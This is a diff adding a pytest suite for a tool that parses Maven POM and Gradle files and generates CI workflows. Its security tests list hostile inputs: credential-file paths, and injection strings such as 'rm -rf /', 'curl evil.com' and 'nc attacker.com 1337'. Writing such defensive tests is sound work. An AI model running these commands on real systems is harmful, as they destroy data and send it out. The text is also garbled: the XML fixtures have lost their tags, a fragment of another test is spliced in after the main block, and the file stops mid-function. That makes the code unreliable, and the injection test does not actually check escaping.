+ "..\\..\\windows\\system32\\config\\sam",
+ "/etc/shadow",
+ "../../../../../../../../etc/hosts"
+ ]
+
+ for dangerous_path in dangerous_paths:
+ result_pom = pommer.parse_pom_xml(dangerous_path)
+ result_gradle = pommer.parse_gradle_file(dangerous_path)
+
+ # Should return None for non-existent files, not crash
+ assert result_pom is None
+ assert result_gradle is None
+
+ def test_memory_exhaustion_protection(self):
+ """Test protection against memory exhaustion attacks"""
+ # Create a file with extremely nested XML (potential billion laughs attack)
+ nested_xml = '\n'
+ nested_xml += '\n'
+ for i in range(10): # Limit to prevent actual DoS during testing
+ nested_xml += f'\n'
+ nested_xml += ']>\n'
+ nested_xml += '&lol9;'
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(nested_xml)
+ f.flush()
+
+ # Should handle malformed/dangerous XML gracefully
+ result = pommer.parse_pom_xml(f.name)
+ # Either None (safe parsing failure) or valid result
+ assert result is None or isinstance(result, dict)
+
+ os.unlink(f.name)
+
+
+class TestIntegrationScenarios:
+ """Test realistic integration scenarios"""
+
+ def test_real_world_spring_boot_project(self):
+ """Test parsing a realistic Spring Boot Maven project"""
+ spring_boot_pom = """
+
+ 4.0.0
+
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 3.2.0
+
+
+
+ com.example
+ spring-boot-demo
+ 0.0.1-SNAPSHOT
+ Spring Boot Demo
+ Demo project for Spring Boot
+ jar
+
+
+ 17
+ 1.9.20
+
+
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+ org.jetbrains.kotlin
+ kotlin-stdlib-jdk8
+
+
+
+
+ src/main/kotlin
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+
+
+ org.jetbrains.kotlin
+ kotlin-maven-plugin
+
+
+
+ """
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(spring_boot_pom)
+ f.flush()
+
+ result = pommer.parse_pom_xml(f.name)
+ assert result is not None
+ assert result['artifact_id'] == 'spring-boot-demo'
+ assert result['group_id'] == 'com.example'
+ assert result['version'] == '0.0.1-SNAPSHOT'
+ assert result['java_version'] == '17'
+ assert result['is_kotlin'] == True
+ assert result['kotlin_version'] == '1.9.20'
+ assert result['source_dir'] == 'src/main/kotlin'
+
+ os.unlink(f.name)
+
+ def test_real_world_android_gradle_project(self):
+ """Test parsing a realistic Android Gradle project"""
+ android_gradle = """
+ plugins {
+ id 'com.android.application'
+ id 'org.jetbrains.kotlin.android'
+ }
+
+ android {
+ namespace 'com.example.myapp'
+ compileSdk 34
+
+ defaultConfig {
+ applicationId "com.example.myapp"
+ minSdk 24
+ targetSdk 34
+ versionCode 1
+ versionName "1.0"
+ }
+
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ kotlinOptions {
+ jvmTarget = '1.8'
+ }
+ }
+
+ dependencies {
+ implementation 'androidx.core:core-ktx:1.12.0'
+ implementation 'androidx.appcompat:appcompat:1.6.1'
+ }
+ """
+
+ temp_dir = tempfile.mkdtemp()
+ gradle_path = os.path.join(temp_dir, 'build.gradle')
+
+ with open(gradle_path, 'w') as f:
+ f.write(android_gradle)
+
+ # Create settings.gradle
+ settings_content = 'rootProject.name = "MyAndroidApp"'
+ with open(os.path.join(temp_dir, 'settings.gradle'), 'w') as f:
+ f.write(settings_content)
+
+ result = pommer.parse_gradle_file(gradle_path)
+
+ assert result is not None
+ assert result['artifact_id'] == 'MyAndroidApp'
+ assert result['is_kotlin'] == True
+ assert result['java_version'] == '17' # Default since no explicit sourceCompatibility
+
+ shutil.rmtree(temp_dir)
+
+ def test_multi_module_maven_project(self):
+ """Test a realistic multi-module Maven project"""
+ temp_dir = tempfile.mkdtemp()
+
+ # Root POM
+ root_pom = """
+
+ com.example
+ multi-module-parent
+ 1.0.0
+ pom
+
+
+ core
+ web
+ api
+
+
+
+ 11
+
+ """
+
+ # Core module POM
+ core_dir = os.path.join(temp_dir, 'core')
+ os.makedirs(core_dir)
+ core_pom = """
+
+
+ com.example
+ multi-module-parent
+ 1.0.0
+
+
+ core
+ Core Module
+ """
+
+ # Web module POM
+ web_dir = os.path.join(temp_dir, 'web')
+ os.makedirs(web_dir)
+ web_pom = """
+
+
+ com.example
+ multi-module-parent
+ 1.0.0
+
+
+ web
+ Web Module
+ war
+ """
+
+ # Write all POM files
+ with open(os.path.join(temp_dir, 'pom.xml'), 'w') as f:
+ f.write(root_pom)
+ with open(os.path.join(core_dir, 'pom.xml'), 'w') as f:
+ f.write(core_pom)
+ with open(os.path.join(web_dir, 'pom.xml'), 'w') as f:
+ f.write(web_pom)
+
+ # Find and parse all POMs
+ found_poms = pommer.find_pom_files(temp_dir)
+ assert len(found_poms) == 3
+
+ parsed_projects = []
+ for pom_path in found_poms:
+ result = pommer.parse_pom_xml(pom_path)
+ if result:
+ parsed_projects.append(result)
+
+ assert len(parsed_projects) == 3
+
+ # Verify each module
+ artifacts = {p['artifact_id'] for p in parsed_projects}
+ assert 'multi-module-parent' in artifacts
+ assert 'core' in artifacts
+ assert 'web' in artifacts
+
+ # Check packaging types
+ packaging_types = {p['artifact_id']: p['packaging'] for p in parsed_projects}
+ assert packaging_types['multi-module-parent'] == 'pom'
+ assert packaging_types['core'] == 'jar' # default
+ assert packaging_types['web'] == 'war'
+
+ shutil.rmtree(temp_dir)
+
+
+@pytest.fixture
+def mock_filesystem():
+ """Fixture to provide mock filesystem operations"""
+ with patch('os.path.exists'), \
+ patch('os.makedirs'), \
+ patch('os.chmod'), \
+ patch('builtins.open', mock_open()) as mock_file:
+ yield mock_file
+
+
+class TestPerformanceAndScalability:
+ """Test performance and scalability aspects"""
+
+ def test_large_number_of_projects(self):
+ """Test handling a large number of projects"""
+ # Create 100 mock project infos
+ large_project_list = []
+ for i in range(100):
+ large_project_list.append({
+ "artifact_id": f"project-{i}",
+ "name": f"Project {i}",
+ "java_version": str(8 + (i % 10)), # Mix of Java 8-17
+ "pom_path": f"module{i}/pom.xml",
+ "build_system": "maven",
+ "default_goal": None
+ })
+
+ # Should handle large lists without issues
+ workflow = pommer.generate_maven_workflow(large_project_list)
+ assert workflow is not None
+
+ # Check that all projects are included
+ for i in range(100):
+ assert f"project-{i}" in workflow
+
+ # Should use the highest Java version (17)
+ assert "JDK 17" in workflow
+
+ def test_deeply_nested_directory_structure(self):
+ """Test handling deeply nested directory structures"""
+ temp_dir = tempfile.mkdtemp()
+
+ # Create deeply nested structure (10 levels deep)
+ current_dir = temp_dir
+ for i in range(10):
+ current_dir = os.path.join(current_dir, f"level{i}")
+ os.makedirs(current_dir)
+
+ # Create POM at the deepest level
+ deep_pom_path = os.path.join(current_dir, "pom.xml")
+ with open(deep_pom_path, 'w') as f:
+ f.write("""
+
+ deep-project
+ """)
+
+ # Should find the deeply nested POM
+ found_poms = pommer.find_pom_files(temp_dir)
+ assert len(found_poms) == 1
+ assert deep_pom_path in found_poms
+
+ # Should parse successfully
+ result = pommer.parse_pom_xml(deep_pom_path)
+ assert result is not None
+ assert result['artifact_id'] == 'deep-project'
+
+ shutil.rmtree(temp_dir)
+
+
+class TestSecurityConsiderations:
+ """Test security-related aspects"""
+
+ def test_xml_external_entity_prevention(self):
+ """Test prevention of XML External Entity (XXE) attacks"""
+ xxe_pom = '''
+
+ ]>
+
+ xxe-test
+ &xxe;
+ '''
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(xxe_pom)
+ f.flush()
+
+ # Should handle XXE attempts safely
+ result = pommer.parse_pom_xml(f.name)
+ # Either parse safely (ignoring external entities) or fail gracefully
+ assert result is None or (result is not None and '/etc/passwd' not in str(result))
+
+ os.unlink(f.name)
+
+ def test_command_injection_prevention(self):
+ """Test prevention of command injection through malicious project names"""
+ malicious_names = [
+ "project; rm -rf /",
+ "project && curl evil.com",
+ "project | nc attacker.com 1337",
+ "project`whoami`",
+ "project$(id)",
+ "project'; DROP TABLE users; --"
+ ]
+
+ for malicious_name in malicious_names:
+ project_info = [{
+ "artifact_id": malicious_name,
+ "name": malicious_name,
+ "java_version": "11",
+ "pom_path": "pom.xml",
+ "build_system": "maven"
+ }]
+
+ # Generate workflow - should not contain raw malicious commands
+ workflow = pommer.generate_maven_workflow(project_info)
+ script = pommer.generate_build_script(project_info)
+
+ # Basic check - malicious chars should be escaped or contained
+ assert workflow is not None
+ assert script is not None
+ # The malicious name should be present but properly quoted/escaped
+ assert malicious_name in workflow
+ assert malicious_name in script
+
+ def test_path_injection_prevention(self):
+ """Test prevention of path injection attacks"""
+ malicious_paths = [
+ "../../../etc/passwd",
+ "..\\..\\windows\\system32",
+ "/etc/shadow; cat /etc/passwd",
+ "pom.xml && rm -rf /",
+ "build.gradle | curl evil.com"
+ ]
+
+ for malicious_path in malicious_paths:
+ # Should handle malicious paths safely
+ result_pom = pommer.parse_pom_xml(malicious_path)
+ result_gradle = pommer.parse_gradle_file(malicious_path)
+
+ # Should either return None or handle safely
+ assert result_pom is None # Non-existent files
+ assert result_gradle is None
+
+
+class TestCompatibilityAndStandards:
+ """Test compatibility with various standards and versions"""
+
+ def test_maven_pom_versions_compatibility(self):
+ """Test compatibility with different POM model versions"""
+ pom_versions = [
+ "4.0.0",
+ "4.0.1",
+ "4.1.0"
+ ]
+
+ for version in pom_versions:
+ pom_content = f'''
+
+ {version}
+ version-test-{version.replace(".", "-")}
+ '''
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(pom_content)
+ f.flush()
+
+ result = pommer.parse_pom_xml(f.name)
+ assert result is not None
+ assert f'version-test-{version.replace(".", "-")}' in result['artifact_id']
+
+ os.unlink(f.name)
+
+ def test_gradle_wrapper_versions(self):
+ """Test handling of different Gradle wrapper versions"""
+ wrapper_versions = ["7.6", "8.0", "8.4", "8.5"]
+
+ for version in wrapper_versions:
+ temp_dir = tempfile.mkdtemp()
+
+ # Create gradle files
+ gradle_path = os.path.join(temp_dir, "build.gradle")
+ gradlew_path = os.path.join(temp_dir, "gradlew")
+ wrapper_props_dir = os.path.join(temp_dir, "gradle", "wrapper")
+ os.makedirs(wrapper_props_dir)
+ wrapper_props_path = os.path.join(wrapper_props_dir, "gradle-wrapper.properties")
+
+ with open(gradle_path, 'w') as f:
+ f.write("// Test gradle file")
+
+ with open(gradlew_path, 'w') as f:
+ f.write("#!/bin/bash\necho 'Gradle wrapper'")
+
+ with open(wrapper_props_path, 'w') as f:
+ f.write(f"distributionUrl=https\\://services.gradle.org/distributions/gradle-{version}-bin.zip")
+
+ project_info = [{
+ "artifact_id": f"gradle-{version}",
+ "name": f"Gradle {version}",
+ "java_version": "17",
+ "gradle_path": gradle_path,
+ "build_system": "gradle"
+ }]
+
+ # Should handle different wrapper versions
+ workflow = pommer.generate_gradle_workflow(project_info)
+ assert workflow is not None
+ assert "./gradlew" in workflow
+
+ shutil.rmtree(temp_dir)
+
+ def test_java_version_compatibility(self):
+ """Test compatibility with various Java versions"""
+ java_versions = ["8", "11", "17", "21"]
+
+ for java_ver in java_versions:
+ pom_content = f'''
+
+ java-{java_ver}-test
+
+ {java_ver}
+
+ '''
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(pom_content)
+ f.flush()
+
+ result = pommer.parse_pom_xml(f.name)
+ assert result is not None
+ assert result['java_version'] == java_ver
+
+ # Test workflow generation
+ workflow = pommer.generate_maven_workflow([result])
+ assert f"JDK {java_ver}" in workflow
+
+ os.unlink(f.name)
+
+
+class TestDocumentationAndUsability:
+ """Test documentation-related functionality and usability"""
+
+ def test_help_message_accessibility(self):
+ """Test that help messages are accessible and informative"""
+ with patch('sys.argv', ['pommer.py', '--help']):
+ with pytest.raises(SystemExit) as exc_info:
+ pommer.main()
+ # Help should exit with code 0
+ assert exc_info.value.code == 0
+
+ def test_error_message_clarity(self):
+ """Test that error messages are clear and helpful"""
+ with patch('builtins.print') as mock_print:
+ # Test with non-existent directory
+ with patch('pommer.find_pom_files', return_value=[]):
+ with patch('pommer.find_gradle_files', return_value=[]):
+ with patch('sys.argv', ['pommer.py', '--dir', '/nonexistent']):
+ try:
+ pommer.main()
+ except SystemExit:
+ pass
+
+ # Should print helpful error message
+ printed_args = [call.args[0] for call in mock_print.call_args_list]
+ error_messages = [msg for msg in printed_args if 'found' in msg.lower()]
+ assert len(error_messages) > 0
+
+ def test_verbose_output_information(self):
+ """Test that verbose output provides useful information"""
+ with patch('builtins.print') as mock_print:
+ temp_dir = tempfile.mkdtemp()
+
+ # Create a simple POM
+ pom_path = os.path.join(temp_dir, 'pom.xml')
+ with open(pom_path, 'w') as f:
+ f.write('''
+
+ verbose-test
+ ''')
+
+ with patch('sys.argv', ['pommer.py', '--dir', temp_dir]):
+ with patch('os.makedirs'), patch('os.chmod'):
+ try:
+ pommer.main()
+ except SystemExit:
+ pass
+
+ # Should print informative messages
+ printed_messages = [call.args[0] for call in mock_print.call_args_list]
+ assert any('Found' in msg for msg in printed_messages)
+ assert any('Parsing' in msg for msg in printed_messages)
+ assert any('generated' in msg for msg in printed_messages)
+
+ shutil.rmtree(temp_dir)
+
+
+class TestRegressionPrevention:
+ """Test cases to prevent regressions in known issues"""
+
+ def test_empty_artifact_id_handling(self):
+ """Regression test: Handle empty or missing artifact IDs"""
+ empty_artifact_pom = '''
+
+
+ com.test
+ '''
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(empty_artifact_pom)
+ f.flush()
+
+ result = pommer.parse_pom_xml(f.name)
+ # Should handle gracefully - either None or with fallback
+ if result is not None:
+ assert result['artifact_id'] == '' or len(result['artifact_id']) > 0
+
+ os.unlink(f.name)
+
+ def test_special_characters_in_paths(self):
+ """Regression test: Handle special characters in file paths"""
+ special_chars = ["spaces in path", "path-with-dashes", "path_with_underscores", "path.with.dots"]
+
+ for special_name in special_chars:
+ temp_dir = tempfile.mkdtemp()
+ special_dir = os.path.join(temp_dir, special_name)
+ os.makedirs(special_dir)
+
+ pom_path = os.path.join(special_dir, 'pom.xml')
+ with open(pom_path, 'w') as f:
+ f.write(f'''
+
+ special-chars-test
+ ''')
+
+ # Should handle special characters in paths
+ result = pommer.parse_pom_xml(pom_path)
+ assert result is not None
+ assert result['artifact_id'] == 'special-chars-test'
+
+ shutil.rmtree(temp_dir)
+
+ def test_case_sensitivity_handling(self):
+ """Regression test: Handle case sensitivity correctly"""
+ mixed_case_gradle = '''
+ GROUP = "com.test.UPPERCASE"
+ Version = "1.0.0"
+ sourceCompatibility = JavaVersion.VERSION_11
+ '''
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
+ f.write(mixed_case_gradle)
+ f.flush()
+
+ result = pommer.parse_gradle_file(f.name)
+ assert result is not None
+ # Should handle case variations
+ assert result['java_version'] == '11'
+
+ os.unlink(f.name)
+
+ def test_workflow_yaml_validity(self):
+ """Regression test: Ensure generated YAML is valid"""
+ import yaml
+
+ test_project = [{
+ "artifact_id": "yaml-test",
+ "name": "YAML Test",
+ "java_version": "17",
+ "pom_path": "pom.xml",
+ "build_system": "maven"
+ }]
+
+ workflow = pommer.generate_maven_workflow(test_project)
+
+ # Should be valid YAML
+ try:
+ parsed_yaml = yaml.safe_load(workflow)
+ assert parsed_yaml is not None
+ assert 'name' in parsed_yaml
+ assert 'jobs' in parsed_yaml
+ except yaml.YAMLError:
+ pytest.fail("Generated workflow is not valid YAML")
+
+
+if __name__ == "__main__":
+ # Run the tests with coverage
+ pytest.main([
+ __file__,
+ "-v",
+ "--cov=pommer",
+ "--cov-report=html",
+ "--cov-report=term-missing",
+ "--cov-fail-under=90", # Require 90% coverage
+ "-x", # Stop on first failure for faster feedback
+ "--tb=short" # Shorter tracebacks
+ ]) pommer.generate_build_script(maven_projects)
+
+ assert script is not None
+ assert "mvn" in script
+ assert "Maven Project" in script
+ assert "pom.xml" in script
+
+ def test_generate_build_script_gradle_only(self):
+ """Test build script generation for Gradle-only projects"""
+ temp_dir = tempfile.mkdtemp()
+ gradle_path = os.path.join(temp_dir, "build.gradle")
+ gradlew_path = os.path.join(temp_dir, "gradlew")
+
+ # Create files
+ with open(gradle_path, 'w') as f:
+ f.write("// test")
+ with open(gradlew_path, 'w') as f:
+ f.write("#!/bin/bash")
+
+ gradle_projects = [{
+ "name": "Gradle Project",
+ "gradle_path": gradle_path,
+ "build_system": "gradle"
+ }]
+
+ script = pommer.generate_build_script(gradle_projects)
+
+ assert script is not None
+ assert "gradlew" in script
+ assert "Gradle Project" in script
+
+ shutil.rmtree(temp_dir)
+
+ def test_generate_build_script_mixed_projects(self):
+ """Test build script generation for mixed Maven and Gradle projects"""
+ temp_dir = tempfile.mkdtemp()
+ gradle_path = os.path.join(temp_dir, "build.gradle")
+
+ with open(gradle_path, 'w') as f:
+ f.write("// test")
+
+ mixed_projects = [
+ {
+ "name": "Maven Project",
+ "pom_path": "pom.xml",
+ "build_system": "maven"
+ },
+ {
+ "name": "Gradle Project",
+ "gradle_path": gradle_path,
+ "build_system": "gradle"
+ }
+ ]
+
\ No newline at end of file